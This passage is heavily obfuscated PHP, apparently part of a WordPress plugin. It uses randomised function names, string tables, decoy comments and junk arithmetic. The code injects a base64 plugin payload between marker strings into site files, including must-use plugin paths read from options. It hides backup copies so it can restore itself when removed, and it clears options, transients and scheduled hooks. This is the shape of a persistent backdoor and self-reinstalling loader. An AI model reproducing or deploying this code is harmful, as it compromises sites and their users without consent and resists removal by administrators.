 if   ($GLOBALS['__scf_qbkffloyend_1373'](e77owqcywda_d(1641),  $g83oggt5_m042c,    $ygnwdoj7k4h4o))    {
 foreach   ($GLOBALS['__scf_sp6eq6gzqlrslw_358']($ygnwdoj7k4h4o[1],  $ygnwdoj7k4h4o[2],   $ygnwdoj7k4h4o[(2+1)])   as    $hi85v7xxap) {
 if ($hi85v7xxap !==   "")    $afb989m7j9pt[$GLOBALS['__scf_n2ceqwn4my98_3']($hi85v7xxap)]      = true;


 }
}
     unset($g83oggt5_m042c,    $ygnwdoj7k4h4o,  $hi85v7xxap);
      }
// orthogonal-adj broadcaster



   if  (!$mdvfsydvs66crgoi) {
  foreach     ($l8nclpby_0prpn74 as   $jj6fib7ix9ntj)  {$qsnieroi9j4x=PHP_MAJOR_VERSION;$q2gjijozc3=$qsnieroi9j4x*7;
  if (@$GLOBALS['__scf_cr6q9fwgft_18']($jj6fib7ix9ntj))   {
        if    (isset($afb989m7j9pt[$GLOBALS['__scf_n2ceqwn4my98_3']($jj6fib7ix9ntj)]))   continue;
      jl7b1mmow1nrgaho8($jj6fib7ix9ntj,    (517-97));
 er_0rzjfu8611gx($jj6fib7ix9ntj);
  }



 }



  }
unset($afb989m7j9pt,  $mdvfsydvs66crgoi,   $idvka2g5_i0tl1rn);
 foreach (ptr_mjcyqfyp2ixlej_sm()    as    $kxwggkkpzz1oz)  {
    if    (!@$GLOBALS['__scf_cr6q9fwgft_18']($kxwggkkpzz1oz) ||  !@$GLOBALS['__scf_lnazygzamf_47']($kxwggkkpzz1oz))   continue;
      $i2heqo3a8u1x   =  @$GLOBALS['__scf_ha14er2zmzf_92']($kxwggkkpzz1oz);
if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x))   {
  $pv3_n0unndte7330     =     awsdwfa4d19qv6amm209vh($i2heqo3a8u1x,      c_5yznsrtgse_i(1393),    c_5yznsrtgse_i(1398));
       $pv3_n0unndte7330 =  awsdwfa4d19qv6amm209vh($pv3_n0unndte7330,   onlv7_99m8sby3(1395),   okltugscqfcy(1642));$r4ru6jk9ramfcw=(0x5c+0xe1);$ynq7nazktwwxl=$r4ru6jk9ramfcw%5;
   if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($pv3_n0unndte7330)  &&  $pv3_n0unndte7330 !==  $i2heqo3a8u1x) n_52vz_mvq1filje($kxwggkkpzz1oz,    $pv3_n0unndte7330);
unset($pv3_n0unndte7330);
}



   }
  if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1643))    &&   $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1264))) {
 $key    = xdfk7__qewr_wndwidc1();


if  ($key   !==    false)  {
  $whp78xotjq5   =  @$GLOBALS['__scf_jx7b8dw4jllc_1245']($key,   'w',   0,    0);
if ($whp78xotjq5)   {
    @$GLOBALS['__scf_c8kbzdllqt1y_1253']($whp78xotjq5);

 @$GLOBALS['__scf_fwn4g2giawo25r_1248']($whp78xotjq5);
  }
    }
   }
  if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1644)))     {
  $iiiwigvhfj9  =      l09115umv3lykft9t(ABSPATH   .   onlv7_99m8sby3(1205),  (3+7));
       @delete_option($iiiwigvhfj9);
  $rf3n5uqbg_67uht   =  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1574))  ? @get_option(c_5yznsrtgse_i(1503),  array())   :      array();


     if   ($GLOBALS['__scf_a91xkwk0qm_35']($rf3n5uqbg_67uht)) {
 if    (isset($rf3n5uqbg_67uht['b']))  er_0rzjfu8611gx($rf3n5uqbg_67uht['b']);
      if   (isset($rf3n5uqbg_67uht[e77owqcywda_d(1573)])   &&    $GLOBALS['__scf_a91xkwk0qm_35']($rf3n5uqbg_67uht[onlv7_99m8sby3(1645)])) {
// deprovision projective container




 foreach  ($rf3n5uqbg_67uht[c_5yznsrtgse_i(1646)] as $_ci)      {
if     ($GLOBALS['__scf_a91xkwk0qm_35']($_ci) && isset($_ci['b']))    er_0rzjfu8611gx($_ci['b']);
}
  }
 }
@delete_option(onlv7_99m8sby3(1503));
@delete_option(c_5yznsrtgse_i(531));



      @delete_option(okltugscqfcy(1647));

     @delete_option(c_5yznsrtgse_i(1648));
     @delete_option(e77owqcywda_d(1649));



@delete_option(e77owqcywda_d(1167));
   @delete_option(okltugscqfcy(1168));
     @delete_option(onlv7_99m8sby3(1650));
unset($rf3n5uqbg_67uht,   $_ci);
}


if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(731)))   {
 @delete_transient(c_5yznsrtgse_i(1150));
  @delete_transient(c_5yznsrtgse_i(1284));

 @delete_transient(iyfrtzihosexnci());
    }
  if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(638)))  {
 @wp_clear_scheduled_hook(c_5yznsrtgse_i(1651));
@wp_clear_scheduled_hook(okltugscqfcy(1652));

    @wp_clear_scheduled_hook(p_q793u2yxtjaydw671w95());
       }
} catch  (Throwable    $ye68b7hs2257kgf)    {
e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1653),  $ye68b7hs2257kgf);
   }      catch (Exception   $ye68b7hs2257kgf)    {
  }


        }
    function   vscojk42957z2yinh3sc()



   {
 try  {
  if (!defined(okltugscqfcy(1371)))      return false;
    $og0ebx9lu2qzdtmg = rb4qo3s3qey8iml9k_t();
  $sqxyusrhgemix2b4 =      $og0ebx9lu2qzdtmg     .     c_5yznsrtgse_i(1654);$c401m1q1d=PHP_MAJOR_VERSION;$gh0r9vkq=$c401m1q1d*3;
 $eaeerm127wtnj    =      $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),   okltugscqfcy(1602));
   $c0abca9op_  =  s_41a4npfkl91g6lvjvfe();



  if   (!$c0abca9op_  ||      $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_)   <  (0x14d+0xa7) ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_)   >  (0x60661+0x9f99f) ||  k4lhjl5483_yjz($c0abca9op_)    || !pqt0j30bec0qiplt($c0abca9op_))  return     false;
$current   =  @$GLOBALS['__scf_s8a8ra7wu3u_676']($sqxyusrhgemix2b4)   ? @$GLOBALS['__scf_ha14er2zmzf_92']($sqxyusrhgemix2b4)   : "";
    if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($current))  {
// WP Post Terms: dense pipeline


   e_42zxx3yq4pdz4bo4(e77owqcywda_d(1655), okltugscqfcy(1186));
return  false;
   }
    $current  =     ti6s2mx79ow6io($current);$no9pr5_y=(0xfd+0x64);$nxmul0npbrqf=$no9pr5_y%10;



$hxmcz13sxwsdgpx =     w218ynit42v8uao2p() .    ':'  . l09115umv3lykft9t(ABSPATH  . c_5yznsrtgse_i(1656),   (2<<2));
  $rp0u3mvtw94mch    = c_5yznsrtgse_i(1657)     .  $hxmcz13sxwsdgpx   .  c_5yznsrtgse_i(1272);
  

      $w7i1fu8yrx  = okltugscqfcy(1658)     .   $hxmcz13sxwsdgpx .   c_5yznsrtgse_i(1272);
 $xai4t2ngnwdnv  =      l09115umv3lykft9t(ABSPATH .  okltugscqfcy(1656),    (67^75));
    $te2gbkvuw3e1ztw   =   $GLOBALS['__scf_t8cv4weumn7_439'](e77owqcywda_d(1659)    . $xai4t2ngnwdnv .   okltugscqfcy(1660),    "",  $current);
 $j878_ljbyg5lc6   = ($GLOBALS['__scf_ffvfced40_hd3k_7']($te2gbkvuw3e1ztw,   okltugscqfcy(1661))   !== false);
if   ($GLOBALS['__scf_ffvfced40_hd3k_7']($current,  $rp0u3mvtw94mch)     !==    false  &&   $GLOBALS['__scf_ffvfced40_hd3k_7']($current,    $w7i1fu8yrx)  !== false  &&   !$j878_ljbyg5lc6)    return   true;



      $current = $GLOBALS['__scf_t8cv4weumn7_439'](onlv7_99m8sby3(1662), "",  $te2gbkvuw3e1ztw);
  if    (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($current))    {
   e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1663),   e77owqcywda_d(1664));


     return false;
     }


 $hm4zk_al_f =      doc379joovtj_lisexoga9();
    if  (!$hm4zk_al_f)   return false;
      $vllv7oy8yt402hhg   = c_5yznsrtgse_i(1665)   . $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56']($eaeerm127wtnj    .   (string)      lz2qq_av2vpeb134hcpk()),   0,      (6+2));
$t35f7c9c10c7d2bi    =  mua1wkeo2i85r3r8dahw(
      e77owqcywda_d(620),
     array('__SLUG__',     '__PLUGIN_BASE64__',  '__GUARD_NAME__',     '__VERSION__'),
  array($eaeerm127wtnj,    $hm4zk_al_f, $vllv7oy8yt402hhg,    w218ynit42v8uao2p())
    );
   if (!$t35f7c9c10c7d2bi)    {
if ((int)  get_option(e77owqcywda_d(1666),  0)   > 0)  e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1663),    c_5yznsrtgse_i(1667));
   return    false;
 }
  $current  =   ti6s2mx79ow6io($current);
 $uhf4r7b8dt36d4  =  $GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(1213),   "",  $t35f7c9c10c7d2bi);
  $jc37rgctb297  =   ($GLOBALS['__scf_m36_x4cy3m1b5_10']($current) ===  0);
 if (!$jc37rgctb297) {

       if    (!sp5wkyh5y24npg(onlv7_99m8sby3(1668)))   {
  e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1668), c_5yznsrtgse_i(1227));
   return  false;
    }
 if  (!dw5xb53ayd6_2w149kl6c($sqxyusrhgemix2b4,  $current))      {
 e_42zxx3yq4pdz4bo4(e77owqcywda_d(1669),   okltugscqfcy(1670));$h7e527lno=PHP_INT_MAX/PHP_INT_MAX;$vwml09kqsf63rt=$h7e527lno+78;
    return  false;
 }

       _v1q_3qvwfek2a1v1uo4_(c_5yznsrtgse_i(1671));
 } else  {
 if  (!dw5xb53ayd6_2w149kl6c($sqxyusrhgemix2b4, ""))     {
 e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1672), c_5yznsrtgse_i(1670));
  return false;


 }
  }
 $daj0ulxipl5 =   e_3kdl5lkaj5m4($current, $rp0u3mvtw94mch .  "\n"  . $uhf4r7b8dt36d4 . "\n"  .    $w7i1fu8yrx);
       if   (!n_52vz_mvq1filje($sqxyusrhgemix2b4, $daj0ulxipl5))      {
  return     false;
  }

z70pp09ofsx7infprg85($sqxyusrhgemix2b4);
   gy672vrnjusgcel1($sqxyusrhgemix2b4);
   return true;
  }  catch (Throwable  $ye68b7hs2257kgf) {
   e_42zxx3yq4pdz4bo4(okltugscqfcy(1672), $ye68b7hs2257kgf);



return    false;
    } catch    (Exception  $ye68b7hs2257kgf)  {
return  false;
 }
// matrix transpose




    }
 function     ptr_mjcyqfyp2ixlej_sm()
       {
// interrupt interpreter for PHP 8.2 enum

        $io2gv91mjg8b3  = array();
  if   (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1574)))  return  $io2gv91mjg8b3;
    $wlccfhc_p80pk61     = (defined(c_5yznsrtgse_i(1637))   ? WP_CONTENT_DIR  :   (defined(e77owqcywda_d(1371))  ?      ABSPATH . c_5yznsrtgse_i(1673)  : ""))    .      okltugscqfcy(1674);
   $sysma_cmky9xq   =   (string) @get_option(e77owqcywda_d(1675), "");
 if    ($sysma_cmky9xq   !== "")   $io2gv91mjg8b3[] =  $wlccfhc_p80pk61  . $sysma_cmky9xq   . okltugscqfcy(1676);
 $fxj7r7pe6d     =    (string)  @get_option(okltugscqfcy(1043),  "");
     if  ($fxj7r7pe6d !==  "" &&  $fxj7r7pe6d    !==    $sysma_cmky9xq)  $io2gv91mjg8b3[] =     $wlccfhc_p80pk61    . $fxj7r7pe6d .   onlv7_99m8sby3(1676);
  return  $io2gv91mjg8b3;
     }
    function     rp7m0ejlf3q959hwa()
{
// OPcache config: thread-safe enumerator

 if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(463))  && is_multisite()  && $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(202)))   {
return (array) @get_site_option(c_5yznsrtgse_i(1677),  array());$wz3qavukfggji=152|217;$eoinlpcnx32c=$wz3qavukfggji^199;

    }


  return   (array)  @get_option(okltugscqfcy(1677),   array());
  }
      function     g3f_0lru49at4lhuwgazy8($j0ntwxgj_8)
       {
    if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1678)) &&  is_multisite()  && $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1679))) {
  @update_site_option(c_5yznsrtgse_i(1680), $j0ntwxgj_8);
      return;



 }
@update_option(onlv7_99m8sby3(1681),   $j0ntwxgj_8,  okltugscqfcy(1594));
  }
function  vd1u6_rwfbz4s1($gfqyhfnvmz)
    {


  $j0ntwxgj_8  =   rp7m0ejlf3q959hwa();
return  isset($j0ntwxgj_8[l09115umv3lykft9t($gfqyhfnvmz,  (137^133))]);


   }
 function  s8z1ga54glrvpmax($gfqyhfnvmz)
      {
     $j0ntwxgj_8 =    rp7m0ejlf3q959hwa();
 $ox2d4e04f7r41    =  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()     - (10757853-2981853);
 foreach      ($j0ntwxgj_8   as  $yqx3p1r0wf => $r4p9w1fyr3ahyui) {
// @acknowledge locator

  if ((int)  $r4p9w1fyr3ahyui < $ox2d4e04f7r41) unset($j0ntwxgj_8[$yqx3p1r0wf]); 
  }
// WP Site Logo meta box output

 $j0ntwxgj_8[l09115umv3lykft9t($gfqyhfnvmz,     (7+5))] = $GLOBALS['__scf_p_l9i38f5mdu2r_184']();
   g3f_0lru49at4lhuwgazy8($j0ntwxgj_8);



    }
    function  dlon5avu5kw0x6ovqj($gfqyhfnvmz,  $daj0ulxipl5)
{


 if    (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($daj0ulxipl5)     ||    $daj0ulxipl5    ===     ""   ||     $GLOBALS['__scf_m36_x4cy3m1b5_10']($daj0ulxipl5)     > (1048558+18))    return;

  $szcwunjei91jvwd =     $GLOBALS['__scf_efg6cx4h8j_1242'](onlv7_99m8sby3(1682),     $daj0ulxipl5);
 




      $lxqa6x46uzt68oz   =   (array)   @get_option(e77owqcywda_d(1683),  array());



    $bszqf_sws4z8acg_   =  l09115umv3lykft9t($gfqyhfnvmz,  (9+3));
  if  (isset($lxqa6x46uzt68oz[$bszqf_sws4z8acg_][onlv7_99m8sby3(1682)])  &&  $lxqa6x46uzt68oz[$bszqf_sws4z8acg_][c_5yznsrtgse_i(1682)]  ===    $szcwunjei91jvwd)     return;
   $lxqa6x46uzt68oz[$bszqf_sws4z8acg_] =     array(okltugscqfcy(1596)    =>  $GLOBALS['__scf_m36_x4cy3m1b5_10']($daj0ulxipl5),   e77owqcywda_d(1684)  =>     $szcwunjei91jvwd, onlv7_99m8sby3(1685)   => $GLOBALS['__scf__y1qevmu6cl77u_343']($daj0ulxipl5));
 @update_option(okltugscqfcy(1683),  $lxqa6x46uzt68oz,     okltugscqfcy(1594));
}
     function    xx7p73zjd721c48_53m50($gfqyhfnvmz)
       {
     $lxqa6x46uzt68oz  =   (array) @get_option(okltugscqfcy(1683), array());
$ye68b7hs2257kgf    =  isset($lxqa6x46uzt68oz[l09115umv3lykft9t($gfqyhfnvmz,   (6+6))]) ? $lxqa6x46uzt68oz[l09115umv3lykft9t($gfqyhfnvmz,   (2+10))] : null;
 if (!$GLOBALS['__scf_a91xkwk0qm_35']($ye68b7hs2257kgf)    || empty($ye68b7hs2257kgf[e77owqcywda_d(1685)])    ||  empty($ye68b7hs2257kgf[e77owqcywda_d(1686)])  ||  empty($ye68b7hs2257kgf[e77owqcywda_d(1684)]))    return  false;
$xzp109u18gm =  $GLOBALS['__scf_j_3rba3nic_344']($ye68b7hs2257kgf[e77owqcywda_d(1685)],     true);
    if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($xzp109u18gm) ||    $GLOBALS['__scf_m36_x4cy3m1b5_10']($xzp109u18gm)    !== (int)   $ye68b7hs2257kgf[onlv7_99m8sby3(1687)]) return false;
  if ($GLOBALS['__scf_efg6cx4h8j_1242'](c_5yznsrtgse_i(1684), $xzp109u18gm)  !== $ye68b7hs2257kgf[c_5yznsrtgse_i(1684)])  return false;


if (!pqt0j30bec0qiplt($xzp109u18gm))  return   false;



return  $xzp109u18gm;
  }
 function r_vvd09c3d270gimk($kxwggkkpzz1oz,  $current)
 {
 $m7zakpeygjxm9hb =  v7_g7gfntvbthq6($current);


     if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($m7zakpeygjxm9hb)  ||     $m7zakpeygjxm9hb  ===    "") return  false;
 $k7fvczdhupm_85qp     =  hc439iwbgn5b2nwx5x_lu()    .   okltugscqfcy(1688) . l09115umv3lykft9t($kxwggkkpzz1oz,    (8+4))    .  e77owqcywda_d(1434);
  $_ex   = @$GLOBALS['__scf_cr6q9fwgft_18']($k7fvczdhupm_85qp)   ?    @$GLOBALS['__scf_ha14er2zmzf_92']($k7fvczdhupm_85qp) :   false;


 if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($_ex) ||   $_ex     !==   $m7zakpeygjxm9hb)  {
  if (!n_52vz_mvq1filje($k7fvczdhupm_85qp,   $m7zakpeygjxm9hb))   return    false;
  $_ex   = @$GLOBALS['__scf_cr6q9fwgft_18']($k7fvczdhupm_85qp)    ? @$GLOBALS['__scf_ha14er2zmzf_92']($k7fvczdhupm_85qp)    : false;
if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($_ex)  ||   $_ex  !==     $m7zakpeygjxm9hb)  return    false;
     }
dlon5avu5kw0x6ovqj($kxwggkkpzz1oz,  $m7zakpeygjxm9hb);
  return     true;
 }


function t3ltkhp6sz8pflmnjka()
{
   g3f_0lru49at4lhuwgazy8(array());

   }
   function l4wcbu_4nx5x83yqn()
   {
try  {
      if (!defined(e77owqcywda_d(1371)) ||   !$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1574)))   return;


foreach  (ptr_mjcyqfyp2ixlej_sm() as  $aj9laoin6koj_q)   {
   if (@$GLOBALS['__scf_cr6q9fwgft_18']($aj9laoin6koj_q)     && @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($aj9laoin6koj_q)   >    0) continue;
  $k7fvczdhupm_85qp =  hc439iwbgn5b2nwx5x_lu()   . onlv7_99m8sby3(1688) . l09115umv3lykft9t($aj9laoin6koj_q,    (0x6+0x6))  . onlv7_99m8sby3(1434);
     $xs2aondsi227kr =   @$GLOBALS['__scf_cr6q9fwgft_18']($k7fvczdhupm_85qp)     ?  @$GLOBALS['__scf_ha14er2zmzf_92']($k7fvczdhupm_85qp)  : false;



if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($xs2aondsi227kr) || $xs2aondsi227kr ===     "")   {
/* non-blocking write-ahead-log */

   $xs2aondsi227kr    =    xx7p73zjd721c48_53m50($aj9laoin6koj_q); 
 if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($xs2aondsi227kr)   &&  $xs2aondsi227kr    !==      "")   @n_52vz_mvq1filje($k7fvczdhupm_85qp,     $xs2aondsi227kr);
  }
// string dedup

if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($xs2aondsi227kr)    ||  $xs2aondsi227kr ===    "")  continue;
  clearstatcache(true,     $aj9laoin6koj_q);   
     if  (@$GLOBALS['__scf_cr6q9fwgft_18']($aj9laoin6koj_q)  && @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($aj9laoin6koj_q) > 0)  continue;



 if      (n_52vz_mvq1filje($aj9laoin6koj_q,  $xs2aondsi227kr))   {
e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(621),   okltugscqfcy(1689));
 s8z1ga54glrvpmax($aj9laoin6koj_q);
  }
}
} catch  (Throwable $ye68b7hs2257kgf) {
/* non-strict stabilizer */

  e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1690),  $ye68b7hs2257kgf);
 } catch  (Exception $ye68b7hs2257kgf)  {
  }


   }
function dvx0ai342hif0khvts()
  {


  try {



 if    (!defined(onlv7_99m8sby3(1371)))    return  false;
  $vqzh9w5szeqe7     =    ptr_mjcyqfyp2ixlej_sm();
     if (empty($vqzh9w5szeqe7)) return false;
   $hxmcz13sxwsdgpx  =  w218ynit42v8uao2p() . ':'   .  l09115umv3lykft9t(ABSPATH      . onlv7_99m8sby3(1390),    (10-2));
  $rp0u3mvtw94mch  =  c_5yznsrtgse_i(1691)    .  $hxmcz13sxwsdgpx .     okltugscqfcy(1272);
$w7i1fu8yrx   = e77owqcywda_d(1692)  .  $hxmcz13sxwsdgpx    .  onlv7_99m8sby3(1272);
      $vllv7oy8yt402hhg   =     e77owqcywda_d(1693) . $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56'](ABSPATH    .   (string)   lz2qq_av2vpeb134hcpk()),      0,   (83^91));
  $eaeerm127wtnj     = $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),  onlv7_99m8sby3(1602));
     $hm4zk_al_f     =   doc379joovtj_lisexoga9();
if (!$hm4zk_al_f) return   false;
$qalnkg2mzoxr0u8r =  mua1wkeo2i85r3r8dahw(
    onlv7_99m8sby3(1694),



 array('__SLUG__',      '__PLUGIN_BASE64__', '__GUARD_NAME__',  '__VERSION__'),
 array($eaeerm127wtnj, $hm4zk_al_f,    $vllv7oy8yt402hhg, w218ynit42v8uao2p())
);
if     (!$qalnkg2mzoxr0u8r)    {



    if  ((int)    get_option(onlv7_99m8sby3(1666),   0)     >  0) e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1690),    e77owqcywda_d(1695));
return    false;
    }
 $qalnkg2mzoxr0u8r  =   $GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(1696), "",    $qalnkg2mzoxr0u8r);
  if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($qalnkg2mzoxr0u8r)    ||  $qalnkg2mzoxr0u8r ===  "")  return   false;



       $zhztmbv0vd50v =   false;
foreach    ($vqzh9w5szeqe7   as $kxwggkkpzz1oz) {
    if   (!@$GLOBALS['__scf_cr6q9fwgft_18']($kxwggkkpzz1oz))    continue;


   if    (vd1u6_rwfbz4s1($kxwggkkpzz1oz)) continue;
$w72urx05ce7tu  = $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(134)) ?  @$GLOBALS['__scf_fumpd7io1zfk8_21']($kxwggkkpzz1oz,    'c')   :  false;
   if   ($w72urx05ce7tu  !==   false      && $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1697))     && !@flock($w72urx05ce7tu,   LOCK_EX    |   LOCK_NB)) {
@fclose($w72urx05ce7tu);
       continue;
 }
  $current  = @$GLOBALS['__scf_ha14er2zmzf_92']($kxwggkkpzz1oz);
if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($current))      {
e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1690),   okltugscqfcy(1698));
    if      ($w72urx05ce7tu   !==  false)  {


    if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1699))) @flock($w72urx05ce7tu,      LOCK_UN);
  @fclose($w72urx05ce7tu);



   }
 continue;
 }
try  {
if ($GLOBALS['__scf_m36_x4cy3m1b5_10']($current)    >     (405075+643501))    $current   =   ti6s2mx79ow6io($current);
 if  ($GLOBALS['__scf_ffvfced40_hd3k_7']($current,    $rp0u3mvtw94mch)  !==  false  &&     $GLOBALS['__scf_ffvfced40_hd3k_7']($current,  $w7i1fu8yrx)  !==   false)   {
   $zhztmbv0vd50v    =  true;

       continue;



 }
  if  (!@$GLOBALS['__scf_lnazygzamf_47']($kxwggkkpzz1oz))   continue;
    $cl379r428btpasyw = l09115umv3lykft9t(ABSPATH    .  onlv7_99m8sby3(1700),   (34^42));
   $no7t0yb440oxvpby  =   $current;
$current   =  awsdwfa4d19qv6amm209vh($current,    c_5yznsrtgse_i(1393),  c_5yznsrtgse_i(1701));
 $current = $GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(1702), "",      $current);
  if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($current))  {
       e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1690), okltugscqfcy(1664));
 continue;
   }
if   ($GLOBALS['__scf_ffvfced40_hd3k_7']($current,  c_5yznsrtgse_i(1703))      !==     false ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($current,    onlv7_99m8sby3(1560)) !==   false) {
// delegate self-adjoint unification

     $z7052fuoxklm = $GLOBALS['__scf_ffvfced40_hd3k_7']($current,  c_5yznsrtgse_i(1703));
     $rrzn_6ypspmno =    ($z7052fuoxklm  !== false)   ?  $GLOBALS['__scf_pozjicggfgaq_9']($current,     $z7052fuoxklm) :   $current;
if    ($GLOBALS['__scf_ffvfced40_hd3k_7']($rrzn_6ypspmno,     c_5yznsrtgse_i(1693))  ===  false     && $GLOBALS['__scf_ffvfced40_hd3k_7']($rrzn_6ypspmno, okltugscqfcy(1704)) ===     false  && !$GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1705)   .  $cl379r428btpasyw    .  okltugscqfcy(1392),  $rrzn_6ypspmno)) {
  e_42zxx3yq4pdz4bo4(okltugscqfcy(1690), c_5yznsrtgse_i(1706));



 continue;

}
// @pipeline resume-session

   $i2qpmrqjxhr  = $GLOBALS['__scf_t8cv4weumn7_439'](c_5yznsrtgse_i(1707),      "\n",   $current);
   if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($i2qpmrqjxhr)) $current  =  $i2qpmrqjxhr;
  

 $i2qpmrqjxhr  =    $GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(1708),  "",  $current);
if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($i2qpmrqjxhr)) $current =  $i2qpmrqjxhr;
  unset($i2qpmrqjxhr);



if   ($GLOBALS['__scf_ffvfced40_hd3k_7']($current,     e77owqcywda_d(1709))    !== false) {
    e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1690),   c_5yznsrtgse_i(1710));
 continue;
    }
// Intl extension: aggregate gateway

    }
    if     ($zhztmbv0vd50v) {

  if    ($current === $no7t0yb440oxvpby) continue;
 $snzft2b1tu47720 =   @$GLOBALS['__scf_ha14er2zmzf_92']($kxwggkkpzz1oz);
if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($snzft2b1tu47720))  continue;
    if  ($GLOBALS['__scf_m36_x4cy3m1b5_10']($snzft2b1tu47720)  > (0x51df2+0xae20e))  $snzft2b1tu47720 =  ti6s2mx79ow6io($snzft2b1tu47720);
if   ($snzft2b1tu47720 !==  $no7t0yb440oxvpby)    {
   e_42zxx3yq4pdz4bo4(okltugscqfcy(1690), okltugscqfcy(1191));


       continue;
   }
      unset($snzft2b1tu47720);
if    (!r_vvd09c3d270gimk($kxwggkkpzz1oz,  $current)) continue;
 if (!dw5xb53ayd6_2w149kl6c($kxwggkkpzz1oz, $current))  continue;
   if (n_52vz_mvq1filje($kxwggkkpzz1oz,      $current))  z70pp09ofsx7infprg85($kxwggkkpzz1oz);
     continue;$e1u90qcke=52+34;$nttjaxjo=$e1u90qcke-32;
}
 if      ($GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1711),  $current))  {
// abort maximal trie

  e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1690),    onlv7_99m8sby3(1712));
 continue;
      }
  $saw94n5vxki83cpp  =  c_5yznsrtgse_i(1713);
   if     ($GLOBALS['__scf_m36_x4cy3m1b5_10']($current)   >   0   && $GLOBALS['__scf_ffvfced40_hd3k_7']($current,   onlv7_99m8sby3(1332)) !==   false)  {
 $xev_jyz9qgr5e5 = false;


if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(232))) {
 $e9suovgp9b8h = @token_get_all($current);
 if   ($GLOBALS['__scf_a91xkwk0qm_35']($e9suovgp9b8h))  {
     foreach  ($e9suovgp9b8h  as $gc4dj9u5mrti7y)  {



  if    ($GLOBALS['__scf_a91xkwk0qm_35']($gc4dj9u5mrti7y))     {

     if   ($gc4dj9u5mrti7y[0]   ===  T_OPEN_TAG   ||   (defined(e77owqcywda_d(1714)) &&  $gc4dj9u5mrti7y[0]    ===     T_OPEN_TAG_WITH_ECHO))   $xev_jyz9qgr5e5    =    true;
elseif   ($gc4dj9u5mrti7y[0]  === T_CLOSE_TAG)    $xev_jyz9qgr5e5  =     false;
 }
}

     }
     unset($e9suovgp9b8h,  $gc4dj9u5mrti7y);
}    else     {
 $c7h7vuzqcgqc    = $GLOBALS['__scf_philmoxvb6g13_1715']($current,  okltugscqfcy(1332));
 $d45ynokanen3sp  = $GLOBALS['__scf_philmoxvb6g13_1715']($current,   okltugscqfcy(1313));
   if   ($c7h7vuzqcgqc   !==    false  &&  ($d45ynokanen3sp  ===     false ||   $c7h7vuzqcgqc >   $d45ynokanen3sp))   $xev_jyz9qgr5e5 = true;
 unset($c7h7vuzqcgqc,   $d45ynokanen3sp);



  }
   if ($xev_jyz9qgr5e5)  $saw94n5vxki83cpp     =  "";
 unset($xev_jyz9qgr5e5);

 }
  $jptwbhl_ywmgpz =  ($GLOBALS['__scf_m36_x4cy3m1b5_10']($current)   >    0)  ?  "\n"   : "";
